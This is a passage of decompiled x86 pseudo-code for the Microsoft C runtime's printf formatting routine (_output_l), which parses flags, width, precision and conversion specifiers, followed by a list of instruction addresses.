																							E004281F0( *((intOrPtr*)(_t666 + 8)),  *(_t666 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																							_t671 = _t671 + 0xc;
																							_t582 =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							 *(_t666 - 0x251) =  *((intOrPtr*)( *((intOrPtr*)(_t666 + 0xc))));
																							_t629 =  *((intOrPtr*)(_t666 + 0xc)) + 1;
																							 *((intOrPtr*)(_t666 + 0xc)) = _t629;
																							asm("sbb eax, eax");
																							 *(_t666 - 0x278) =  ~( ~( *(_t666 - 0x251)));
																							if(_t629 == 0) {
																								_push(L"(ch != _T(\'\\0\'))");
																								_push(0);
																								_push(0x486);
																								_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																								_push(2);
																								_t514 = L0041E210();
																								_t671 = _t671 + 0x14;
																								if(_t514 == 1) {
																									asm("int3");
																								}
																							}
																							L13:
																							if( *(_t666 - 0x278) != 0) {
																								goto L15;
																							} else {
																								 *((intOrPtr*)(L00422D00(_t582))) = 0x16;
																								E00422A90(_t558, _t582, _t664, _t665, L"(ch != _T(\'\\0\'))", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																								 *(_t666 - 0x2e4) = 0xffffffff;
																								E0041ACB0(_t666 - 0x40);
																								_t497 =  *(_t666 - 0x2e4);
																								L211:
																								return E0042BCB0(_t497, _t558,  *(_t666 - 0x48) ^ _t666, _t629, _t664, _t665);
																							}
																						}
																					case 1:
																						L16:
																						 *(__ebp - 0x2c) = 0;
																						__edx =  *(__ebp - 0x2c);
																						 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																						__eax =  *(__ebp - 0x28);
																						 *(__ebp - 0x18) =  *(__ebp - 0x28);
																						__ecx =  *(__ebp - 0x18);
																						 *(__ebp - 0x1c) = __ecx;
																						 *(__ebp - 0x10) = 0;
																						 *(__ebp - 0x30) = 0xffffffff;
																						 *(__ebp - 0xc) = 0;
																						goto L209;
																					case 2:
																						L17:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						 *(__ebp - 0x304) =  *(__ebp - 0x304) - 0x20;
																						if( *(__ebp - 0x304) > 0x10) {
																							goto L24;
																						}
																						L18:
																						__ecx =  *(__ebp - 0x304);
																						_t63 = __ecx + 0x428120; // 0x498d04
																						__edx =  *_t63 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t63 & 0x000000ff) * 4 +  &M00428108))) {
																							case 0:
																								goto L21;
																							case 1:
																								goto L22;
																							case 2:
																								goto L20;
																							case 3:
																								goto L19;
																							case 4:
																								goto L23;
																							case 5:
																								goto L24;
																						}
																					case 3:
																						L25:
																						__edx =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							__eax =  *(__ebp - 0x18);
																							__eax =  *(__ebp - 0x18) * 0xa;
																							__ecx =  *((char*)(__ebp - 0x251));
																							_t87 = __ecx - 0x30; // -48
																							__edx = __eax + _t87;
																							 *(__ebp - 0x18) = __eax + _t87;
																						} else {
																							__eax = __ebp + 0x14;
																							 *(__ebp - 0x18) = E00428360(__ebp + 0x14);
																							if( *(__ebp - 0x18) < 0) {
																								__ecx =  *(__ebp - 0x10);
																								__ecx =  *(__ebp - 0x10) | 0x00000004;
																								 *(__ebp - 0x10) = __ecx;
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																							}
																						}
																						L30:
																						goto L209;
																					case 4:
																						L31:
																						 *(__ebp - 0x30) = 0;
																						goto L209;
																					case 5:
																						L32:
																						__eax =  *((char*)(__ebp - 0x251));
																						if( *((char*)(__ebp - 0x251)) != 0x2a) {
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																							_t98 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																							__ecx =  *(__ebp - 0x30) * 0xa + _t98;
																							 *(__ebp - 0x30) = __ecx;
																						} else {
																							__ecx = __ebp + 0x14;
																							 *(__ebp - 0x30) = E00428360(__ebp + 0x14);
																							if( *(__ebp - 0x30) < 0) {
																								 *(__ebp - 0x30) = 0xffffffff;
																							}
																						}
																						goto L209;
																					case 6:
																						L38:
																						__edx =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *((char*)(__ebp - 0x251));
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						 *(__ebp - 0x308) =  *(__ebp - 0x308) - 0x49;
																						if( *(__ebp - 0x308) > 0x2e) {
																							L61:
																							goto L209;
																						}
																						L39:
																						__ecx =  *(__ebp - 0x308);
																						_t106 = __ecx + 0x428148; // 0x79ff9003
																						__edx =  *_t106 & 0x000000ff;
																						switch( *((intOrPtr*)(( *_t106 & 0x000000ff) * 4 +  &M00428134))) {
																							case 0:
																								L44:
																								__edx =  *(__ebp + 0xc);
																								__eax =  *( *(__ebp + 0xc));
																								if( *( *(__ebp + 0xc)) != 0x36) {
																									L47:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x33) {
																										L50:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x64) {
																											L56:
																											L58:
																											goto L61;
																										}
																										L51:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x69) {
																											goto L56;
																										}
																										L52:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx == 0x6f) {
																											goto L56;
																										}
																										L53:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) == 0x75) {
																											goto L56;
																										}
																										L54:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *__ecx;
																										if( *__ecx == 0x78) {
																											goto L56;
																										}
																										L55:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc));
																										if(__ecx != 0x58) {
																											 *(__ebp - 0x25c) = 0;
																											goto L9;
																										}
																										goto L56;
																									}
																									L48:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x32) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L58;
																									}
																								}
																								L45:
																								__ecx =  *(__ebp + 0xc);
																								__edx =  *((char*)(__ecx + 1));
																								if( *((char*)(__ecx + 1)) != 0x34) {
																									goto L47;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L58;
																								}
																							case 1:
																								L59:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																								goto L61;
																							case 2:
																								L40:
																								__eax =  *(__ebp + 0xc);
																								__ecx =  *( *(__ebp + 0xc));
																								if(__ecx != 0x6c) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000010;
																									 *(__ebp - 0x10) = __ecx;
																								} else {
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																								}
																								goto L61;
																							case 3:
																								L60:
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																								goto L61;
																							case 4:
																								goto L61;
																						}
																					case 7:
																						goto L62;
																					case 8:
																						L21:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																						goto L24;
																					case 9:
																						L22:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																						goto L24;
																					case 0xa:
																						L20:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000001;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xb:
																						L19:
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																						goto L24;
																					case 0xc:
																						L23:
																						__ecx =  *(__ebp - 0x10);
																						__ecx =  *(__ebp - 0x10) | 0x00000008;
																						 *(__ebp - 0x10) = __ecx;
																						goto L24;
																					case 0xd:
																						L24:
																						goto L209;
																				}
																			}
																			L210:
																			 *(_t666 - 0x2ec) =  *(_t666 - 0x24c);
																			E0041ACB0(_t666 - 0x40);
																			_t497 =  *(_t666 - 0x2ec);
																			goto L211;
																		}
																		L182:
																		if(( *(_t666 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t666 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t666 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t666 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t666 - 0x14)) = 0x20;
																						 *(_t666 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t666 - 0x14)) = 0x2b;
																					 *(_t666 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t666 - 0x14)) = 0x2d;
																				 *(_t666 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t666 - 0x2bc)) =  *((intOrPtr*)(_t666 - 0x18)) -  *((intOrPtr*)(_t666 - 0x24)) -  *(_t666 - 0x1c);
																		if(( *(_t666 - 0x10) & 0x0000000c) == 0) {
																			E00428290(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		E004282D0( *(_t666 - 0x1c), _t666 - 0x14,  *(_t666 - 0x1c),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																		_t669 = _t669 + 0x10;
																		if(( *(_t666 - 0x10) & 0x00000008) != 0 && ( *(_t666 - 0x10) & 0x00000004) == 0) {
																			E00428290(0x30,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																		}
																		if( *(_t666 - 0xc) == 0 ||  *((intOrPtr*)(_t666 - 0x24)) <= 0) {
																			L203:
																			E004282D0( *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 4)),  *((intOrPtr*)(_t666 - 0x24)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																			_t669 = _t669 + 0x10;
																			goto L204;
																		} else {
																			L196:
																			 *(_t666 - 0x2d4) = 0;
																			 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 4));
																			 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x24));
																			while(1) {
																				L197:
																				 *((intOrPtr*)(_t666 - 0x2c4)) =  *((intOrPtr*)(_t666 - 0x2c4)) - 1;
																				if( *((intOrPtr*)(_t666 - 0x2c4)) == 0) {
																					break;
																				}
																				L198:
																				 *(_t666 - 0x316) =  *((intOrPtr*)( *((intOrPtr*)(_t666 - 0x2c0))));
																				_t532 = E00434220(_t666 - 0x2c8, _t666 - 0x2d0, 6,  *(_t666 - 0x316) & 0x0000ffff);
																				_t669 = _t669 + 0x10;
																				 *(_t666 - 0x2d4) = _t532;
																				 *((intOrPtr*)(_t666 - 0x2c0)) =  *((intOrPtr*)(_t666 - 0x2c0)) + 2;
																				if( *(_t666 - 0x2d4) != 0 ||  *((intOrPtr*)(_t666 - 0x2c8)) == 0) {
																					L200:
																					 *(_t666 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L201:
																					E004282D0( *((intOrPtr*)(_t666 + 8)), _t666 - 0x2d0,  *((intOrPtr*)(_t666 - 0x2c8)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																					_t669 = _t669 + 0x10;
																					continue;
																				}
																			}
																			L202:
																			L204:
																			if( *(_t666 - 0x24c) >= 0 && ( *(_t666 - 0x10) & 0x00000004) != 0) {
																				E00428290(0x20,  *((intOrPtr*)(_t666 - 0x2bc)),  *((intOrPtr*)(_t666 + 8)), _t666 - 0x24c);
																				_t669 = _t669 + 0x10;
																			}
																			goto L207;
																		}
																		L62:
																		__ecx =  *((char*)(__ebp - 0x251));
																		 *(__ebp - 0x30c) = __ecx;
																		__edx =  *(__ebp - 0x30c);
																		__edx =  *(__ebp - 0x30c) - 0x41;
																		 *(__ebp - 0x30c) = __edx;
																	} while ( *(__ebp - 0x30c) > 0x37);
																	_t147 =  *(__ebp - 0x30c) + 0x4281b4; // 0xcccccc0d
																	__ecx =  *_t147 & 0x000000ff;
																	switch( *((intOrPtr*)(__ecx * 4 +  &M00428178))) {
																		case 0:
																			L114:
																			 *(__ebp - 0x2c) = 1;
																			__ecx =  *((char*)(__ebp - 0x251));
																			__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																			 *((char*)(__ebp - 0x251)) = __cl;
																			goto L115;
																		case 1:
																			L64:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L66;
																		case 2:
																			L79:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																			}
																			goto L81;
																		case 3:
																			L137:
																			 *((intOrPtr*)(__ebp - 0x260)) = 7;
																			goto L139;
																		case 4:
																			L72:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x284) = E00428360(__ebp + 0x14);
																			if( *(__ebp - 0x284) == 0) {
																				L74:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																				L78:
																				goto L181;
																			}
																			L73:
																			__ecx =  *(__ebp - 0x284);
																			if( *((intOrPtr*)( *(__ebp - 0x284) + 4)) != 0) {
																				L75:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x284);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x284);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L78;
																			}
																			goto L74;
																		case 5:
																			L115:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__eax = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L117:
																				if( *(__ebp - 0x30) != 0) {
																					L120:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L122:
																					if( *(__ebp - 0x30) > 0xa3) {
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B750(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__eax =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__eax =  *(__ebp + 0x14);
																					_t274 = __eax - 8; // 0xe852f855
																					__ecx =  *_t274;
																					_t275 = __eax - 4; // 0xbc20
																					__edx =  *_t275;
																					 *(__ebp - 0x2a0) =  *_t274;
																					 *(__ebp - 0x29c) =  *_t275;
																					__ecx = __ebp - 0x40;
																					_push(E0041ACE0(__ebp - 0x40));
																					__eax =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__ecx =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__edx =  *((char*)(__ebp - 0x251));
																					_push( *((char*)(__ebp - 0x251)));
																					__eax =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__ecx =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__edx = __ebp - 0x2a0;
																					_push(__ebp - 0x2a0);
																					__eax =  *0x440374; // 0xf2632e26
																					__eax =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041ACE0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xf2d1ae26
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																					__ecx =  *((char*)(__ebp - 0x251));
																					if( *((char*)(__ebp - 0x251)) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041ACE0(__ebp - 0x40));
																							__eax =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__ecx =  *0x44037c; // 0xf2c8ae26
																							E00424550(__ecx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__edx =  *(__ebp - 4);
																					__eax =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__eax =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DCB0( *(__ebp - 4));
																					goto L181;
																				}
																				L118:
																				__ecx =  *((char*)(__ebp - 0x251));
																				if(__ecx != 0x67) {
																					goto L120;
																				}
																				L119:
																				 *(__ebp - 0x30) = 1;
																				goto L122;
																			}
																			L116:
																			 *(__ebp - 0x30) = 6;
																			goto L122;
																		case 6:
																			L66:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				__ebp + 0x14 = E00428360(__ebp + 0x14);
																				 *(__ebp - 0x280) = __ax;
																				__cl =  *(__ebp - 0x280);
																				 *(__ebp - 0x248) = __cl;
																				 *(__ebp - 0x24) = 1;
																			} else {
																				 *(__ebp - 0x27c) = 0;
																				__edx = __ebp + 0x14;
																				__eax = E004283A0(__ebp + 0x14);
																				 *(__ebp - 0x258) = __ax;
																				__eax =  *(__ebp - 0x258) & 0x0000ffff;
																				__ecx = __ebp - 0x248;
																				__edx = __ebp - 0x24;
																				 *(__ebp - 0x27c) = E00434220(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																				if( *(__ebp - 0x27c) != 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x248;
																			 *(__ebp - 4) = __ebp - 0x248;
																			goto L181;
																		case 7:
																			L135:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L144;
																		case 8:
																			L100:
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x294) = E00428360(__ebp + 0x14);
																			if(E00433F00() != 0) {
																				L110:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					__edx =  *(__ebp - 0x294);
																					__eax =  *(__ebp - 0x24c);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				} else {
																					__eax =  *(__ebp - 0x294);
																					 *( *(__ebp - 0x294)) =  *(__ebp - 0x24c);
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L181;
																			}
																			L101:
																			__edx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x314) = 0;
																			} else {
																				 *(__ebp - 0x314) = 1;
																			}
																			__eax =  *(__ebp - 0x314);
																			 *(__ebp - 0x298) =  *(__ebp - 0x314);
																			if( *(__ebp - 0x298) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E210();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x298) != 0) {
																				L109:
																				goto L181;
																			} else {
																				L108:
																				 *((intOrPtr*)(L00422D00(__ecx))) = 0x16;
																				__eax = E00422A90(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x2e8) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ACB0(__ecx);
																				__eax =  *(__ebp - 0x2e8);
																				goto L211;
																			}
																		case 9:
																			L142:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L144;
																		case 0xa:
																			L136:
																			 *(__ebp - 0x30) = 8;
																			goto L137;
																		case 0xb:
																			L81:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x310) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x310) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x310);
																			 *(__ebp - 0x28c) =  *(__ebp - 0x310);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428360(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																			if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																				L92:
																				if( *(__ebp - 4) == 0) {
																					__edx =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x288) =  *(__ebp - 4);
																				while(1) {
																					L95:
																					__ecx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if(__ecx == 0) {
																						break;
																					}
																					L96:
																					__eax =  *(__ebp - 0x288);
																					__ecx =  *( *(__ebp - 0x288));
																					if(__ecx == 0) {
																						break;
																					}
																					L97:
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																					 *(__ebp - 0x288) =  *(__ebp - 0x288) + 1;
																				}
																				L98:
																				 *(__ebp - 0x288) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				 *(__ebp - 0x24) =  *(__ebp - 0x288) -  *(__ebp - 4);
																				goto L99;
																			} else {
																				L85:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __eax;
																				}
																				 *(__ebp - 0xc) = 1;
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x290) =  *(__ebp - 4);
																				while(1) {
																					L88:
																					__edx =  *(__ebp - 0x28c);
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					 *(__ebp - 0x28c) =  *(__ebp - 0x28c) - 1;
																					if( *(__ebp - 0x28c) == 0) {
																						break;
																					}
																					L89:
																					__ecx =  *(__ebp - 0x290);
																					__edx =  *( *(__ebp - 0x290)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x290)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L90:
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																					 *(__ebp - 0x290) =  *(__ebp - 0x290) + 2;
																				}
																				L91:
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) -  *(__ebp - 4);
																				__ecx =  *(__ebp - 0x290) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) = __ecx;
																				L99:
																				goto L181;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L138:
																			 *((intOrPtr*)(__ebp - 0x260)) = 0x27;
																			L139:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *((char*)(__ebp - 0x14)) = 0x30;
																				 *((intOrPtr*)(__ebp - 0x260)) =  *((intOrPtr*)(__ebp - 0x260)) + 0x51;
																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L144;
																		case 0xe:
																			goto L181;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x00427bbc
0x00427bbc
0x00427bbc
0x00427bbc
0x00427bbc
0x00000000
0x00427c2b
0x00000000
0x00427c2b
0x00000000
0x00427c2b
0x00427c2b
0x00427c33
0x00427c55
0x00427c5b
0x00427c80
0x00427cc7
0x00427cca
0x00427ceb
0x00427cf0
0x00427cf5
0x00427cfb
0x00427ccc
0x00427cd0
0x00427cd5
0x00427cd8
0x00427cd9
0x00427cdf
0x00427cdf
0x00427c82
0x00427c85
0x00427c88
0x00427caa
0x00427caf
0x00427cb5
0x00427cb6
0x00427cbc
0x00427c8a
0x00427c8e
0x00427c93
0x00427c97
0x00427c98
0x00427c9e
0x00427c9e
0x00427cc2
0x00427c5d
0x00427c61
0x00427c66
0x00427c69
0x00427c6f
0x00427c6f
0x00427c35
0x00427c39
0x00427c3e
0x00427c41
0x00427c47
0x00427c47
0x00427d07
0x00427d49
0x00427d4f
0x00427d5b
0x00000000
0x00427d09
0x00427d09
0x00427d09
0x00427d10
0x00000000
0x00427d1d
0x00427d1d
0x00427d2b
0x00427d30
0x00427d36
0x00427d44
0x00427d61
0x00427d69
0x00427d8b
0x00427d8b
0x00427d95
0x00427da6
0x00427db0
0x00427db2
0x00427db2
0x00427d97
0x00427d97
0x00427d97
0x00427dc5
0x00427dc7
0x00427dc7
0x00427dd1
0x00427dd4
0x00427dd4
0x00427dda
0x00427ddd
0x00427de2
0x00000000
0x00000000
0x00427df2
0x00427df5
0x00427dff
0x00427e0e
0x00427e17
0x00427e2d
0x00427e33
0x00427e40
0x00427e4e
0x00427e4e
0x00427e5d
0x00427e65
0x00427e65
0x00427e6d
0x00427e73
0x00427e7c
0x00427e88
0x00427ea1
0x00427ea7
0x00427eb0
0x00427eb0
0x00000000
0x00427eb3
0x00000000
0x00427eb3
0x00000000
0x00427eb3
0x00000000
0x00427eb3
0x00000000
0x00427eb3
0x00000000
0x00427eb3
0x00000000
0x00427eb3
0x00427eb3
0x00427eb3
0x00427eb7
0x0042809e
0x004280a2
0x004280aa
0x004280af
0x004280b2
0x004280b2
0x004280b9
0x004280b9
0x0042723f
0x00427252
0x00427257
0x00000000
0x0042726a
0x00427274
0x0042729b
0x00427282
0x00427293
0x00427293
0x00427274
0x004272a5
0x004272ab
0x004272bd
0x004272c8
0x004272d4
0x004272e1
0x00000000
0x00000000
0x004272e7
0x004272ed
0x00000000
0x004272f4
0x004272f4
0x0042730c
0x00427311
0x00427316
0x004273d0
0x004273e3
0x004273e8
0x00000000
0x0042731c
0x0042732f
0x00427334
0x0042733a
0x0042733c
0x00427345
0x00427348
0x00427354
